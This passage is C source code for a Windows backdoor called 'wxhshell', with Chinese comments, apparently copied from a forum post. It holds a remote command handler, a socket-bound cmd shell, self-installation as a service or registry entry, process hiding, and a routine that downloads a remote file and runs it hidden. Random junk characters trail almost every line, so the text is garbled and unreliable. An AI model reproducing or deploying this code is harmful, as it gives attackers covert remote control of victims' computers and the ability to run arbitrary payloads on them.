1U[Q)(P  
    switch(cmd[0]) { !~#zH0#  
  2_k2t ?   
  // 帮助 0&XdCoIe  
  case '?': { n]{sBI3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sl?> X)}  
    break; rWsUWA T*  
  } v/gxQy+l  
  // 安装 eLPWoQXt  
  case 'i': { 2%o@?Rp  
    if(Install()) h \dq]yOl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lrrNyaFn  
    else 3msb"|DG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hq+j8w}<-  
    break; H%y!lR{c^D  
    } <vS3 [(  
  // 卸载 c"F3[mrff  
  case 'r': { '&v.h#<  
    if(Uninstall()) XLQt>y)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul@G{N{L   
    else lqdil l\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Cv 6wC=  
    break; p8gm=  
    } g }\ G@7Q  
  // 显示 wxhshell 所在路径 xb8S)zO]Q  
  case 'p': { 5A Fy6Ab  
    char svExeFile[MAX_PATH]; 1j4tR#L  
    strcpy(svExeFile,"\n\r"); f0Wbc\L[  
      strcat(svExeFile,ExeFile); SlK 6KnX  
        send(wsh,svExeFile,strlen(svExeFile),0); EGJ d:>k  
    break; f0!i<9<  
    } b&]_5 GGc  
  // 重启 r2!\Ts5v  
  case 'b': { )c432).Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9W5~I9%  
    if(Boot(REBOOT)) uUmkk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L F<{/c9,  
    else { vT1StOx<V  
    closesocket(wsh); iG+hj:5  
    ExitThread(0); k9Pwf"m|](  
    } gs/ i%O  
    break; Vd%%lv{v  
    } e97Ll=>  
  // 关机 ZhvZe/  
  case 'd': { bEvlk\iql  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ) oypl+y  
    if(Boot(SHUTDOWN)) T- ~l2u|s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pk{eGG<F$  
    else { 2&b?NqEeZ  
    closesocket(wsh); )O}q{4,}  
    ExitThread(0); $f>h_8cla  
    } 41^=z[k  
    break; XWd;-%`<  
    } {~*^jS']5  
  // 获取shell I j w{g%  
  case 's': { @*>kOZ(3  
    CmdShell(wsh); |!Ryl}Oi  
    closesocket(wsh); Hs6?4cgj  
    ExitThread(0); E@} NV|90  
    break; esh7*,7-z*  
  } gPT<%F  
  // 退出 'DeI]IeP  
  case 'x': { [}ayaXXQ5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |^:qJ;dOP  
    CloseIt(wsh); 3:]c>GPQ  
    break; pHNo1-k\  
    } UA0j#  
  // 离开 .Tm m  
  case 'q': { t@"i/@8x$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); arWP]%E0W  
    closesocket(wsh); s^\ *jZ6  
    WSACleanup(); A.YXK%A%  
    exit(1); E&z`BPd  
    break; Vf*Z}'  
        } or<n[<D-C  
  } S&JsDPzSd  
  } ! )x2   
Ga$J7 R  
  // 提示信息 @'AjEl:&-_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _-+xzdGvX  
} +`RQ ^9  
  } 3u,CI!  
~vPR9\e  
  return; x9!3i{_  
}  |43dyJW  
z?3t^UPW  
// shell模块句柄 :HiAjaA1pg  
int CmdShell(SOCKET sock) 9\ulS2d  
{ 14DHU  
STARTUPINFO si; 5Q$.q &,  
ZeroMemory(&si,sizeof(si)); iZ( U]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a +$'ULK+r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |O';$a1S  
PROCESS_INFORMATION ProcessInfo; >.=v*\P  
char cmdline[]="cmd"; t@vVE{`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kg;u.4.-M  
  return 0; h<0&|s*a)  
} 4roqD;5|~|  
iwVsq_[]L  
// 自身启动模式 FL|\D  
int StartFromService(void) MW|*Z{6*  
{ BB9+d"Sq  
typedef struct :3N&&]  
{ p!Xn iY  
  DWORD ExitStatus; QWQJSz5  
  DWORD PebBaseAddress; YZdV0 -S  
  DWORD AffinityMask; (~IoRhp^  
  DWORD BasePriority; 7cQFH@SC  
  ULONG UniqueProcessId; [C^&iLX/F*  
  ULONG InheritedFromUniqueProcessId; ^h?]$P  
}   PROCESS_BASIC_INFORMATION; pf8M0,AY  
(ebC80M  
PROCNTQSIP NtQueryInformationProcess; E#zLm  
pNnZ-R|u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )45#lE3TH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t6C2DHh7$  
GoUsB|-\  
  HANDLE             hProcess; [X"pOz  
  PROCESS_BASIC_INFORMATION pbi; YwizA}a#  
o|V`/sW{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <p5?yF  
  if(NULL == hInst ) return 0; 4K(oOxc9.  
}.k*4Vw#Wt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1@:BUE;jZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Q17vCC*n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y a/+|mv  
dMw}4c3E  
  if (!NtQueryInformationProcess) return 0; Liv.i;-qE  
!)4'[5t"U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %M5{-pJ|C  
  if(!hProcess) return 0; kxH` c  
ia#8 ^z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XVfw0-O  
+4g H=6  
  CloseHandle(hProcess);  NIh?2w"\  
S Rb-eDk'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,^1B"#0{C<  
if(hProcess==NULL) return 0; s1>d)2lX  
"&%Lhyt  
HMODULE hMod; 7U1^=Y@t}  
char procName[255]; H8!)zZ  
unsigned long cbNeeded; Q+7+||RW  
z]/!4+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .LI(2lP  
 7CwQmVe+  
  CloseHandle(hProcess); -{z<+(K!$  
92(P~Sdv  
if(strstr(procName,"services")) return 1; // 以服务启动 n@$("p  
6PyW(i(bs  
  return 0; // 注册表启动 `lcQ Yd<,4  
} U ATF}x   
N`J]k B7  
// 主模块 gp<XTLJ@>  
int StartWxhshell(LPSTR lpCmdLine) br,xwc  
{ mFrDV,V  
  SOCKET wsl; `$t|O&z  
BOOL val=TRUE; po@Agyg5  
  int port=0; q:MSV{k  
  struct sockaddr_in door; k+@,m\tE  
8J)Kn4jq  
  if(wscfg.ws_autoins) Install(); 3}2;*:p4Y  
e'A 1%g)  
port=atoi(lpCmdLine); #b9V&/ln  
Mc~L%5  
if(port<=0) port=wscfg.ws_port; 7 MS-Gs|  
=p2: qSV  
  WSADATA data; cV4]Y(9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3gv@JGt7`  
B|K^:LUk9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8o i{%C&-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VDFs.;:s  
  door.sin_family = AF_INET; 1*f*}M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8?hZ5QvA(j  
  door.sin_port = htons(port); &~:+2  
d7G DIYH<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q9Vj8JO"{  
closesocket(wsl); 4Opf[3]  
return 1; 4I8QM&7  
} wvmcD%   
$It3}?>C'  
  if(listen(wsl,2) == INVALID_SOCKET) { BA8g[T A7K  
closesocket(wsl); 3b?8<*  
return 1; ^'p!#\T;H  
} zF@[S  
  Wxhshell(wsl); qVW3oj<2  
  WSACleanup(); WK5B8u*<  
lhX4 MB"  
return 0; >dJ[1s]  
1i&|}"  
} to;^'#B  
<+UJgB A-  
// 以NT服务方式启动 H8kB.D[7Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pQi|PQq  
{ 3el/,v|qj  
DWORD   status = 0; !l5@L\   
  DWORD   specificError = 0xfffffff; E9\u^"GVO  
P@5}}vwS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lnGg1/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D*/fY=gK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g:s|D hE[  
  serviceStatus.dwWin32ExitCode     = 0; E/<n"'0ek  
  serviceStatus.dwServiceSpecificExitCode = 0; [!#}#  
  serviceStatus.dwCheckPoint       = 0; G- |  
  serviceStatus.dwWaitHint       = 0; +;,X?E]g  
%\L{Ud%7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5+2qx)FZ  
  if (hServiceStatusHandle==0) return; R*?!xDJ  
^Y%<$IFG  
status = GetLastError(); 6_&S ?yA  
  if (status!=NO_ERROR) vdh[%T,&  
{ V 4&a+MJ@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =zTpDL  
    serviceStatus.dwCheckPoint       = 0; 6rM{r>  
    serviceStatus.dwWaitHint       = 0; E`Br#"/Bl  
    serviceStatus.dwWin32ExitCode     = status; .kTOG'K\e  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;ojJXH~$}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)>4ZNXz  
    return; BOD!0CR5  
  } y;%\ w-.\  
<'48mip  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MDZPp;\)  
  serviceStatus.dwCheckPoint       = 0; 6~l+wu<$  
  serviceStatus.dwWaitHint       = 0; -p"}K~lt:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NiMsAI@j  
} kQp*+ras  
)NK#}c~5  
// 处理NT服务事件,比如:启动、停止 x)pR^t7u8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m/q`k  
{ Cj=_WWo  
switch(fdwControl) r$<M*z5q(\  
{ G#~U\QlG-  
case SERVICE_CONTROL_STOP: yg4#,4---b  
  serviceStatus.dwWin32ExitCode = 0; 1\)C;c,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y6T{/!  
  serviceStatus.dwCheckPoint   = 0; 5j v*C]z  
  serviceStatus.dwWaitHint     = 0; %f?Zg44  
  { ??P %.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a)L|kux;l  
  } F2{SC?U  
  return; VUOe7c=  
case SERVICE_CONTROL_PAUSE: R?y_tho4A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `dWnu3r;  
  break; 5LZs_%#  
case SERVICE_CONTROL_CONTINUE: P @Fx6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QX42^]({;c  
  break; BY9Z}/{j  
case SERVICE_CONTROL_INTERROGATE: D< kf/hj  
  break; ?M^qSo=/~  
}; 3.9/mztS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Kl"V% >  
} ~pHuh#>  
h/2@4XKj  
// 标准应用程序主函数 eFotV.T!#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <m0=bm{j  
{ E@6gTx*  
a|(|!=  
// 获取操作系统版本 Z ;[xaP\S  
OsIsNt=GetOsVer(); 1]Cd fj6@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2`rJr  
bc NyB$S  
  // 从命令行安装 \qTp#sF  
  if(strpbrk(lpCmdLine,"iI")) Install(); QpA$='  
#R7hk5/8n}  
  // 下载执行文件 1Y%lt5,*  
if(wscfg.ws_downexe) { -0TI7 @  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [e_<UF@A*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?B@3A)a  
} Gm &jlN  
O.Y|},F  
if(!OsIsNt) { r;{ggwY&J  
// 如果时win9x,隐藏进程并且设置为注册表启动 H0jbG;  
HideProc(); 8C[eHC*r  
StartWxhshell(lpCmdLine); hL&7D @  
} Vk*XiEfKm>  
else }{kn/m/  
  if(StartFromService()) :S}ZF$ $j%  
  // 以服务方式启动 C,%Dp0  
  StartServiceCtrlDispatcher(DispatchTable); Anqt:(  
else 5j\Kej  
  // 普通方式启动 K7C!ZXw~  
  StartWxhshell(lpCmdLine); K4o']{:U  
LK!sk5/  
return 0; (pHJEY  
}
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只看该作者 1 发表于: 2006-10-10
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